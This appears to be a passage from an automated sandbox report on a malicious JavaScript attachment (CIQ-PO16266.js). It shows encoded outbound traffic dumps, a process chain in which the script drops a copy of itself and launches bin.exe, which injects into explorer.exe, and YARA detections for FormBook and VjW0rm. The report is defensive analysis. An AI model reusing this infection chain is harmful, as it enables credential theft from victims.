69 47 4c 43 7a 36 75 64 77 38 4e 5f 69 63 53 54 6e 39 4b 4d 35 74 64 67 31 37 50 55 28 37 47 79 54 4d 77 5f 4f 50 35 39 32 67 58 50 70 41 4d 2d 31 71 68 51 79 44 42 6f 4a 50 78 74 54 41 72 77 31 72 62 6b 44 71 55 69 35 76 64 4e 6b 43 6f 31 41 72 48 4d 76 52 41 6d 54 63 4a 66 78 43 66 69 66 34 71 6b 64 62 37 74 47 77 62 61 41 53 45 7a 6f 31 67 6f 4c 43 70 59 4c 49 67 5f 53 69 42 7a 76 63 39 65 36 39 32 63 4a 56 69 4b 4e 52 70 62 47 31 6a 34 34 46 49 51 28 68 62 42 59 33 70 57 39 42 6b 72 7e 65 78 36 52 4a 69 6f 7a 4e 79 57 36 30 66 67 54 38 41 52 61 72 76 36 76 4b 57 79 67 42 49 31 47 73 34 65 77 45 55 68 4a 52 7a 62 46 49 57 31 64 56 6a 2d 63 6f 64 4a 55 31 6c 42 65 79 70 4e 51 55 39 36 4d 4d 36 33 71 37 6c 4c 73 4c 7e 44 5a 4b 50 30 55 42 44 30 49 61 33 34 79 78 7a 4f 33 75 34 76 54 57 39 52 39 4f 6b 64 33 71 47 66 58 55 74 39 37 2d 53 30 51 57 58 52 38 50 48 6a 45 6b 4c 69 59 62 4d 4b 56 35 69 6c 61 4b 63 56 48 58 49 56 58 58 79 33 53 69 72 33 63 73 57 4c 69 70 70 4e 6e 42 64 69 38 6d 43 31 75 6e 43 49 53 70 54 6c 4f 6e 63 48 48 72 6c 4e 46 63 4c 68 47 51 4b 58 43 67 4f 71 47 63 30 55 4f 72 6d 63 49 65 34 74 56 6e 52 6d 76 59 54 30 66 47 6c 61 77 53 4b 4a 36 67 54 66 34 59 50 48 72 38 7a 71 7a 36 48 44 61 47 41 50 49 65 49 32 68 39 48 4d 44 62 4a 36 4a 31 41 6c 54 32 72 58 57 4f 56 49 72 41 4d 4d 66 48 7e 6d 69 6f 53 6a 36 69 44 4a 51 50 50 36 74 47 79 36 47 58 67 51 7e 2d 57 42 48 45 72 65 30 6b 75 32 4b 6e 4d 44 31 51 47 63 55 69 54 65 78 75 28 49 6a 64 65 56 56 6a 69 58 5a 6c 41 57 61 47 53 42 79 69 4b 4e 6b 33 55 68 72 41 35 73 55 73 7a 66 74 77 47 37 4c 6a 71 41 37 6f 62 4a 6c 44 79 66 46 6d 47 55 4a 75 34 4d 41 33 56 30 39 78 6f 58 6a 6d 33 49 74 47 77 52 59 6a 6f 5a 53 39 34 70 70 46 6d 4a 50 67 7a 61 36 36 59 6e 39 4c 63 70 73 52 64 74 6d 48 6c 51 47 67 41 33 56 79 7a 32 75 79 38 48 4e 39 77 5a 73 58 56 4e 76 55 53 72 7a 37 74 56 63 68 4d 63 39 54 69 47 33 78 72 57 70 55 44 49 44 32 6f 52 47 5a 30 6c 42 38 75 4a 59 63 63 76 74 46 7a 2d 34 48 28 75 72 6c 41 79 78 79 6e 66 7a 38 4b 77 49 49 36 38 58 52 41 7a 6a 41 4a 44 6f 79 6a 43 66 6f 43 67 37 6b 58 4a 41 6d 63 59 38 4d 37 71 64 6e 44 61 68 72 4a 4e 35 30 54 39 58 5f 48 5a 36 59 55 69 4f 34 51 62 49 69 57 68 62 6c 38 48 50 42 28 49 71 54 54 58 4d 59 41 6e 39 45 34 43 62 73 68 76 33 32 33 47 4b 66 31 78 6b 57 44 79 79 4a 7e 62 4b 54 6b 33 34 67 33 72 35 56 55 75 56 46 66 30 45 42 39 5a 31 34 6d 77 62 53 79 37 77 56 71 66 55 77 42 4b 59 33 6d 67 52 54 45 6b 35 70 32 6a 39 30 6d 78 49 79 6c 42 72 72 69 35 59 73 75 62 43 42 77 66 33 4e 4d 35 48 62 33 6a 67 54 73 62 28 34 37 45 79 6c 71 43 61 51 70 6c 53 30 65 5a 69 68 6f 46 63 76 7a 34 7e 31 55 38 6e 6b 43 70 51 73 5a 76 53 75 78 75 48 54 61 5a 32 4c 38 49 59 57 57 4a 64 6e 73 69 28 76 5a 54 76 6f 66 4c 4b 36 57 45 49 77 67 78 33 6c 69 65 66 4a 45 57 64 42 45 6b 54 69 45 73 6a 67 6e 50 7a 48 71 72 6a 33 5a 73 33 30 47 79 4c 46 39 33 78 52 62 49 55 74 51 6e 4e 65 6e 58 55 49 50 48 62 50 7a 37 6e 7a 4d 6b 70 4b 34 51 45 46 78 76 61 6a 43 42 64 5a 32 56 4e 64 4a 33 4f 73 52 54 77 48 6b 76 30 5f 4e 64 33 77 4c 69 61 71 6a 38 74 78 54 7a 4b 4a 28 4d 55 69 75 6e 4b 4a 77 5f 41 72 34 6e 6a 51 79 58 43 63 48 55 59 7a 67 56 6f 64 46 61 52 57 45 6e 51 7a 5a 67 28 37 6d 31 76 55 4b 4a 47 6b 52 65 33 71 34 68 66 31 65 4b 4b 38 6d 70 68 5a 75 51 39 32 61 61 43 5a 72 Data Ascii: zVB=S9TWziuzoosCb4(5qxo-gr1Il5002oUj7fkd2vrPu8kwjW0ejDdg9FHg3Wb64nF1(AEqiK2qJWXk~Nc0tFYpreVFTBu4RnGI5Twq(9CyKCRbFDcmcSkEPsCkF2tuB0TKIjboj2oXicjR(jxVAeOnfsfaXsr7sdjLNkHE3_1swdfp6Zy-IAu2p4TedSZTlp8TuvLp9Mx8hjqzLsDoA74V5gTLSonI~1t7Ft6lBmKh2n25WtV4T9okkwUncTy9iGLCz6udw8N_icSTn9KM5tdg17PU(7GyTMw_OP592gXPpAM-1qhQyDBoJPxtTArw1rbkDqUi5vdNkCo1ArHMvRAmTcJfxCfif4qkdb7tGwbaASEzo1goLCpYLIg_SiBzvc9e692cJViKNRpbG1j44FIQ(hbBY3pW9Bkr~ex6RJiozNyW60fgT8ARarv6vKWygBI1Gs4ewEUhJRzbFIW1dVj-codJU1lBeypNQU96MM63q7lLsL~DZKP0UBD0Ia34yxzO3u4vTW9R9Okd3qGfXUt97-S0QWXR8PHjEkLiYbMKV5ilaKcVHXIVXXy3Sir3csWLippNnBdi8mC1unCISpTlOncHHrlNFcLhGQKXCgOqGc0UOrmcIe4tVnRmvYT0fGlawSKJ6gTf4YPHr8zqz6HDaGAPIeI2h9HMDbJ6J1AlT2rXWOVIrAMMfH~mioSj6iDJQPP6tGy6GXgQ~-WBHEre0ku2KnMD1QGcUiTexu(IjdeVVjiXZlAWaGSByiKNk3UhrA5sUszftwG7LjqA7obJlDyfFmGUJu4MA3V09xoXjm3ItGwRYjoZS94ppFmJPgza66Yn9LcpsRdtmHlQGgA3Vyz2uy8HN9wZsXVNvUSrz7tVchMc9TiG3xrWpUDID2oRGZ0lB8uJYccvtFz-4H(urlAyxynfz8KwII68XRAzjAJDoyjCfoCg7kXJAmcY8M7qdnDahrJN50T9X_HZ6YUiO4QbIiWhbl8HPB(IqTTXMYAn9E4Cbshv323GKf1xkWDyyJ~bKTk34g3r5VUuVFf0EB9Z14mwbSy7wVqfUwBKY3mgRTEk5p2j90mxIylBrri5YsubCBwf3NM5Hb3jgTsb(47EylqCaQplS0eZihoFcvz4~1U8nkCpQsZvSuxuHTaZ2L8IYWWJdnsi(vZTvofLK6WEIwgx3liefJEWdBEkTiEsjgnPzHqrj3Zs30GyLF93xRbIUtQnNenXUIPHbPz7nzMkpK4QEFxvajCBdZ2VNdJ3OsRTwHkv0_Nd3wLiaqj8txTzKJ(MUiunKJw_Ar4njQyXCcHUYzgVodFaRWEnQzZg(7m1vUKJGkRe3q4hf1eKK8mphZuQ92aaCZr_iZyy6PnkZK(dsg0p6BYlc1wewIMGdM~pJrmpsArEInXhs4jGZNUEGqOyYQQcy_c3slRu9AQt3Hy2ce0THFm2w-ZaONJOT1TW4d9eLOAGtY3Jlppo06aM7_npu-3Ik9dNBVXj5VCiVFevK94RZTK695Txvznce24p0vhvRd0bEd5QtPvZf_F-iX9sSGUqJJvivwFUNhsZFBXsMDK0y9jLrAOG8aJ4Ha00eE~aInMKrh1BNg8dhZGyFwPgfOr3p4eMhbz7QeoSsFHU2G7AsH35a92bAKYxbPeOa5ULDj4FYBnt9N1l(hjbwpxpvqNhchqI61lnuq0wxXg_DtHg6gugowAcAFpjm5gE1QKKwyXr8Xs8ljas(YEutQea4ZphQ3vsrXAdmQWVwZ~-cEDnrpRhm18bJqUHRK8sHin5V2G9qo8HUh91J-RIVqop3-bzu87ExUn39Ij-HTcoNxW6y19DZjAZnW3o6Ht0wL5R7WcukjngG7P5vT5QBBGsFdAfhOgm17ozUMASm1ZxMUDTMqvgIlYXLyDf0f4liXS2vv8c8soo4jxwlgJj(uQT9nZBzQi0irVkldrdJF29O4J-wWhURHSmJREqj3RJnOzh8Czrgu0ltM44AAr8I9Bo(J1WXhGVXrijm3LXBjqeBW8wSEm1RkDQ5oiKiJmcZQUXA_(jhVoX2epEEHrzYY6JyKE5gxEGE2Nlm9ezDkn8Pq~6VyD3lNWh4fYssKRJMRV50vXrMHYi2xg3mPQPL9YqUV7l8VV5p2pDw8ginsWuz4LBANRe3HW6lK3tW4jfd6tSLGyyDtrouB0oxkYC98qQ5WPSMRzt(cnPT9UmlyXsejnx74CaKU~gdIomXTX3BR5Ik1A1yrV3xw2RoODZbv0USV2oeMCLbEitQN4xhNkyDl2NKX4N~6c_~CvK8aCXjGeYPJNlAxzTeix2dpObjAolUXh_1KZmwgTD(9VAQSQ0UOD-W3qKIIEzm3ulYWKFV5vS77O9NBW66jh4MPrHvSAiemOCJW0xsmzE0LmEroavcayLtBwuYb7xhfvnDKDc4SGvAwa6c9zwdDHgXtjLzqEXFu17M3dZ3GEwvc1sB5qIBRed3lPRu6wMafRw(vGXbP6Cj_HhlMUO9HlJYiz-5uEoa6a9zuZ5AD6SLAjydSEIKBUNn7AMWWfiXLF30JdFes2ForyST-lV3X0IINDg0_lj3CH4bpvGdqOk22GrI4d7Dfo3pyBVOWcd72w5SMLSz_uEFlwbYD8qfLPMOe4CMt37IpRV7bt_Jx~Ncm3FgcwrErgJ~Fj2R-Dk39K3DWqyFekN55HPG9MuSNEyN4LK95DCQtnvt1ynSFgIEILJ2s2jCD~WQzquS8o-OdmZVnqaSDKSzRs_(hs3CgaXWXlMxOSvkHJQqLDY(Z3Ljc0_Evy9P22UcWvctU8vd5Ysn4pSW2BkOjOYmy0rXu8SaHxcm4WDEPhwsKDctAaOlF7j414AsyXd~fjkadvFriVSV0k5NhGUhitWBYeLa6S7GcE3zQ9OD6eovuEmg8kDnaqGpJtAJGNt(HnnfUd0M9o4fv3Evr6e9UPFVFWr2hE11Vxar5BeNVDXZYMgjnsl5p1f4-Y1taed2GN8AyFRbOWI3ibIhK5FcIJEhzaQh0ZjIjWlq1gnjTIFbvM_D_6N(2o2nFDaCza86K98H2DayiRGMfxHte03Bxleu2v7E_pIpj9MxkeLpsF50Zf2VtQCPhFXUbVOLMY8LFTXiIdbzuRY6QyVvBtQ7E5W1UIr1Vx8~dmk2y1tZ9Pn0yhgzj8B0H3_yKRmFxftzNIL~TrCcicLtYoH4gSW6S(oOiFduThxF6ZnIj4dJfO_~7VNmZ0C9DHGdYXLL6HKelE3aoE_TkEzmqbeo4xOmxWOvPfQYfaI0NILO3X0jkI-6d6KYO62eoZrhlTR6mEDdJGmgn4zCkviea0ebpx3GRJLFIC36WJcWQ0gSUnEwgFAplvAoynnOcMSUmwGYWJYDTy1Yi1VdyTCFjp3en0V9kSTU2H60-6AWuB5f65JFrnQJQ3uXMzMgYiUwFkrnMZiZk2nraaEYF602Dq5gPaPq04j5Mzz1P4uvS8mejoYMQkiaOpHSxi3VvsIHP2zAdoD3cnrrwgOizrowJE0BD7iiRLvb5RDQxhNBs471N47R5UGEy6JNacNhlyU2pvdY8NNyS9CPgwbluwbtrA9ziOnf_r6SBRbba86DgRi3UdW~BUe7FJ3NRcA1I6tdW0s6FQdV94ASe6GuIqZr3BkOuAK180bDHXW(Cg1lZCC5H(HC7Z-90jVDlxuC1KIQJY1seNlTpf3IDRiN8Opar~eSZyKKAEi6VjJZ2USX1m7E3uHa8oBov(fGYuO24jXukeQPbjlf4QEToI7IEfdXYaRkYZgqip3NBiAwukoQdxgCoKeAphv8EB0NQ00yRIVCIdNjJpLUWrfCMx33vfd3Uk1hNHAZSRI6lb0HePrB5elAkYzgZu1bg82uFhsQw50f_tOj0KvZOWq9xui8q3vv4lJ8v~J(_SeSN4ow_u8V-m0Pf1PQVyeY9uZX6lZdYJoBC(pGirX8_Co(Ra_OniGduPZABKh975nPcE_Pta1HnKBAuTtEQOJ~hxxSTWpS50d53aGWHjjOMsx1c~aPK(WuVwY0JhRTI9yjWGbwkMqbPEIX64vHBSuo8T7EhSCh_9RDC3FFVdlcsUjkq1LkbucLKOP1c
May 27, 2022 18:43:24.815423965 CEST	9557	OUT	Data Raw: 2d 44 2d 58 4d 4b 79 7a 4f 39 52 65 46 62 6f 38 77 78 6a 30 56 50 48 6f 44 78 6d 67 70 44 4a 71 59 33 70 41 58 30 54 33 69 6c 63 71 51 73 49 4e 54 52 71 46 5a 6a 4a 46 53 35 51 4f 53 4d 4c 6b 36 49 78 70 36 73 5f 76 34 7a 57 54 6f 6b 5f 61 37 59 Data Ascii: -D-XMKyzO9ReFbo8wxj0VPHoDxmgpDJqY3pAX0T3ilcqQsINTRqFZjJFS5QOSMLk6Ixp6s_v4zWTok_a7YYdtOY(5nOFhQ32B878fR9HRShP-aouEUIZnG3sVsBovfIF-xvuJw6sDyXMcuG9hB7CqpGvLDvfKQ1Jmq8hBAybuj_Bg3rqQbnoJoms9eWMwSSyGB7DHYxb7VXsfD5G1~7Sf7DicctDxf6ClyonOi9RQvG~BmOxcaJ
May 27, 2022 18:43:24.815833092 CEST	9562	OUT	Data Raw: 42 43 38 41 45 6f 74 55 4f 6a 57 67 53 39 55 44 4d 46 67 38 49 36 42 33 4d 73 39 6d 66 53 4a 54 78 69 66 35 73 6d 78 61 65 78 65 4b 4d 38 50 57 6a 54 54 6f 57 66 76 7e 46 7e 36 56 69 75 65 78 4e 6a 42 52 38 6d 35 36 6a 30 64 34 6b 72 5a 5a 39 63 Data Ascii: BC8AEotUOjWgS9UDMFg8I6B3Ms9mfSJTxif5smxaexeKM8PWjTToWfv~F~6ViuexNjBR8m56j0d4krZZ9cE1lcRIuszvkNQHAEXR0Q1nziXbqOQAVp_CWoHa4(i4kFXBpA4byTJXOITsPOx8i0wmhoW8VBOmxRwKSyT6L68ct0L7hktzltxzGAUdUGCoHfaKtM9ePSPzv7WKoITkxkeo33TZTuzaUmDfr49uSJzCo4Odnwk0X(r
May 27, 2022 18:43:24.816142082 CEST	9563	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html content-length: 252 content-encoding: gzip vary: Accept-Encoding,User-Agent,User-Agent date: Fri, 27 May 2022 16:43:24 GMT server: LiteSpeed Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 6972, Parent PID: 684

General

Target ID:	0
Start time:	18:40:12
Start date:	27/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-PO16266.js"
Imagebase:	0x7ff680380000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.440159871.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.438650051.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000002.454868060.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.439308251.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.449493611.000001C6B5DFF000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.448788961.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.438775384.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.438537712.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wscript.exePID: 7152, Parent PID: 6972

General

Target ID:	2
Start time:	18:40:20
Start date:	27/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js
Imagebase:	0x7ff680380000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000002.00000002.961594354.000001559722F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: bin.exePID: 6372, Parent PID: 6972

General

Target ID:	3
Start time:	18:40:21
Start date:	27/05/2022
Path:	C:\Users\user\AppData\Local\Temp\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\bin.exe"
Imagebase:	0x10000
File size:	175616 bytes
MD5 hash:	FF568D4337CE1566C4140FA2FEDF8DB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 49%, Metadefender, Browse Detection: 100%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 684, Parent PID: 6372

General

Target ID:	4
Start time:	18:40:24
Start date:	27/05/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff74fc70000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wscript.exePID: 3576, Parent PID: 684

General

Target ID:	5
Start time:	18:40:32
Start date:	27/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"
Imagebase:	0x7ff680380000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
